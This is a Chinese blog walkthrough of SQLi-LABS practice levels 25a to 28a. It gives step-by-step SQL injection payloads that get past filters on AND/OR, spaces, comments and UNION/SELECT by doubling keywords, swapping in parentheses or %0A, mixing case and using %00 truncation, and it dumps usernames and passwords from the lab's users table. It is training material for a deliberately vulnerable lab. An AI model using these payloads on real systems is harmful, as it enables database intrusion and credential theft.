当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less25a-28a详细通关攻略

less 25a GET- Blind based -All your OR & AND belong to us -lntiger based

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or过滤掉了,那我们就给他构造一个aandnd进行绕过。可以确定是数字型注入。

?id=2 aandnd 1=1 --+
?id=2 aandnd 1=2 --+

2.判断注入方式

在进行闭合判断时,没有报错注入的相关注入,可以尝试联合注入。

3.判断列数和回显点

1 oorrder by 4 --+1 oorrder by 3 --+//根据页面条件满足变化,可以确定有三列。
-1 union select 1,2,3 --+

4.构造报错注入语句获取数据库名称

-1 union select 1,2,database() --+

5.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤。

-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

6.查询字段名

-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name = users--+

7.查询具体信息

password中的or。

?id=-1 union select 1,group_concat(username,passwoorrd),3 from users --+

less 26a GET -Blind based -All your SPACES and COMMENTS belong to us -String-single quotes-Parenthesis

在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +和其他可代替符号都不能使了。

这关使用的是单引号加括号的闭合方式,后面注释我们使用%00截断

1.构造报错注入语句获取数据库名称

0')union(select(1),(2),(select(database())));%00

2.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。

0')union(select(1),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),(3));%00

3.查询字段名

0')union(select(1),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name="users")),(3));%00

4.查询具体信息

password中的or。

0')union(select(1),(select(group_concat(username,passwoorrd))from(users)),(3));%00

less 27a GET -Blind based -All your UNION & SELECT belong to us -Double quote

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。

1" and (1=1);%00
1" and (1=2);%00

2.判断注入方式

在进行闭合判断时,没有xpath语句报错,过滤union/select,双写绕过使用联合注入。

3.构造报错注入语句获取数据库名称

0"uNiOn (sElect(1),(2),(selEct(database())));%00

4.构造语句查询数据库中的表信息

0"unIon(seleCt(1),(seLect(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),(3));%00

5.查询字段名

0"uniOn(sElect(1),(seleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name="users")),(3));%00

6.查询具体信息

0"uNion(seleCt(1),(sElect(group_concat(username,password))from(users)),(3));%00

less28a GET -Blind Based -All your UNION & SELECT Belong to us -Single quote parenthesis

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union select。使用括号代替空格,双写代替union select。

2')and(1=1) ;%00
2')and(1=2) ;%00

这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')

2.判断注入方式

这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。

3.构造报错注入语句获取数据库名称

符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。

0')uniunion%0Aselecton%0Aselect%0A1,database(),3;%00

4.构造语句查询数据库中的表信息

0')uniunion%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3;%00

5.查询字段名

0')uniunion%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3;%00

6.查询具体信息

0')%0a union%0aunion %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3;%00

http://www.dtcms.com/a/309010.html

相关文章:

  • LoRA低秩适配的原理
  • anaconda searchanaconda show | conda 检索包资源安装指定版本包指定源安装命令package
  • Mysql-视图,函数,存储过程,触发器
  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段(12):文法+单词
  • conda issue
  • C++-2025.7.31
  • LaTeX 表格制作全面指南
  • js防抖、节流和扁平化实现
  • 链特异性文库是什么?为什么它在转录组测序中越来越重要?
  • 【Kubernetes 指南】基础入门——Kubernetes 201(三)
  • 第13届蓝桥杯C++青少组中/高级组选拔赛2022年3月13日真题
  • pdw估计edw怎么估计
  • 数据结构: 双向链表
  • Servlet修改新增思路
  • 数据大集网:引领精准获客新时代的优质平台
  • 数据结构:多项式加法(Polynomial Addition)
  • 从零开始搞定类和对象(上)
  • Python 环境配置
  • 【科普】贝叶斯神经网络与分形神经网络
  • 0731 IO进程基础
  • AscendantPath | 实现视觉小说的人物对话系统(二)
  • 逻辑回归算法基础介绍,简单的二分类三分类实例
  • 代码随想录刷题Day21
  • 面试题及解答:锁
  • 字母异位词分组(每天刷力扣hot100系列)
  • 即时通讯系统项目面试可能的考点
  • 对git 熟悉时,常用操作
  • QT收费情况
  • 谷歌V3插件热更新
  • 类与对象(上),咕咕咕